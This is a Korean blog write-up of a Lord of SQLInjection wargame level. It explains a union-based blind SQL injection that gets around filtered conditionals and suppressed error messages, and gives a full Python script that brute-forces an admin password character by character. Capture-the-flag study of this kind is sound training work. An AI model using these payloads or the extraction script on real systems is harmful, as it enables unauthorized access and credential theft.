필터링되는 기준에 대해서 찾기

1) _ . prob 등 필터링

2) col , if , case when, sleep, benchmark 필터링

3) 에러시 에러 메시지 반환하지 않음

4) 슬래쉬가 붙기 때문에 / ~ /  pw에 대한 실제 값을 알아야 해결되는 문제

 

저번 문제와 동일한 방식인 듯하다. 대신 특이점은 에러 메시지를 반환하지 않기에 error based injection이 아닌 것 같고.. 

if / case when 을 필터링하는 것으로 보아 if / case when 을 사용하지 않고 조건문을 사용해서 풀어야 하는 것 같다!

또, sleep / benchmark 와 같은 time based injection도 아니다. 

천천히 풀어보자.

 


pw = ' 만 입력하여 일부러 쿼리문에 에러를 발생하면 

if(mysqli_error($db)) exit();  이 코드로 인해 에러 메시지는 보이지 않지만 exit()되는 것 같다.

pw=' 'or id = 'admin' and 1=1 # '

다음과 같이 파라미터를 작성하여 or id = 'admin' 로 전체 쿼리를 true 로 만든다.

그 후 and 로 연결하여 뒤에 (1=1) 부분에 조건문이 들어가면 될 것 같다.
만약 (1=1)부분에 이상한 쿼리문이 들어가면 and false 가 되므로 전체 쿼리는 false가 될 것이다.

pw=' 'or id = 'admin' and 1=user # '

and (1=1) 대신 and (1=user)로 쿼리 에러를 발생시키면 전체가 false가 되면서 exit() 되고 있다. 

이 점을 이용해서 blind injection을 시도해야 하는 것 같다.


조건문을 사용하지 않고 조건을 어떻게 걸 수 있을까? 생각을 하다가..

where 절에 조건을 넣는 방법을 생각했는데 sql문에 2개의 where절이 올 수 없다는 생각해 그러면 또 다른 쿼리를 넣어야 겠다고 생각했다.

pw=' 'or id = 'admin' and (select 1) # '

일단 괄호를 사용하여 select문으로 또 다른 쿼리를 사용할 수 있음을 알게 되었다. 전혀 방향성을 못잡고 있다가 이전 문제를 참고해봤다. 똑같이 에러 메시지만 안 보일 뿐 에러를 발생시켜서 풀 수도 있겠다는 생각에..

먼저 테스트 사이트에서 작성해보았다.

기존 데이터베이스 내용만 다를 뿐 똑같이 true false 값을 정해주고 풀어줬더니 length()=4 가 아니니 error 코드를 보였다.

반대로, length()=5 로 맞는 값을 주어  true로 만드니 정상적으로 조회가 되었다. (select ~)문 전체를 true로 만들기 때문에 잘 조회가 된 것이다.

이 방법으로 풀었더니 해결이 되지 않았다. 다른 포스팅도 참고해보니 이유는 없고 단지 이전 문제와 동일한 방식으로는 풀지마라 라는 느낌이었다.

그래서 다른 방식을 찾은 게 union based injection 이다.

union injection으로 실습했을 때는 union 을 통해 컬럼 갯수를 찾았던 기억이 있다. 

union select 1,2,3,4, ..  # 쭉 해보면서 컬럼의 갯수를 찾았는데 union 자체가 select 문 +  select 문 하는 점을 이용해보고자 한다.

다행히도(?) select 1 union select 1 구문에 대한 필터링이 안 걸렸다. 

 select 1 union select 2 구문에 대해서는 에러가 발생했다. 왜지?

테스트 사이트에서 진행해보니...

select 1 union select 1 ;     /  select 1 union select 2 ;

union으로 두 select문이 결합되면서 행이 하나 더 생겼다. 아마도 행이 하나 더 생기거나 열이 하나더 생기거나 해서 에러가 발생한 것 같다. 

이 점을 이용해야 한다.

select 1 union select 1=1
select 1 union select 1=2

뒤에 오는 union select 문에 조건을 걸어주면 상이한 차이가 발생함을 확인했다.

이를 통해 자동화 코드를 작성해주었다.

 

pw 길이 찾기

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select 1 union select length(pw)={})#".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "query" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

실행화면

 

pw 한글자씩 찾기

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
       
            value = "' or id = 'admin' and (select 1 union select ascii(substr(pw,{},1))={})#".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "query" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

실행화면

 

전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select 1 union select length(pw)={})#".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "query" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
       
            value = "' or id = 'admin' and (select 1 union select ascii(substr(pw,{},1))={})#".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "query" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

pw_real(pw_len())

 

 

solve!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15

+ Recent posts